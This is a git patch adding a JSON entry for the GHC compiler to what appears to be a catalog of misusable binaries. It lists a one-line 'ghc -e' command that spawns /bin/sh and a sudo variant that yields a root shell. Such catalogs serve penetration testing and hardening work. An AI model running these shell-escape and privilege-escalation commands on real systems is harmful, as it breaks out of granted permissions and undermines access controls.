From 780e3324213f31b3f77ad1734effbede05287418 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 24 Oct 2020 18:26:36 +0200 Subject: [PATCH] add data source for ghc --- data/ghc.json | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 data/ghc.json diff --git a/data/ghc.json b/data/ghc.json new file mode 100644 index 0000000..98959eb --- /dev/null +++ b/data/ghc.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "ghc -e 'System.Process.callCommand \"/bin/sh\"'" + } + ], + "sudo": [ + { + "code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'" + } + ] + } +}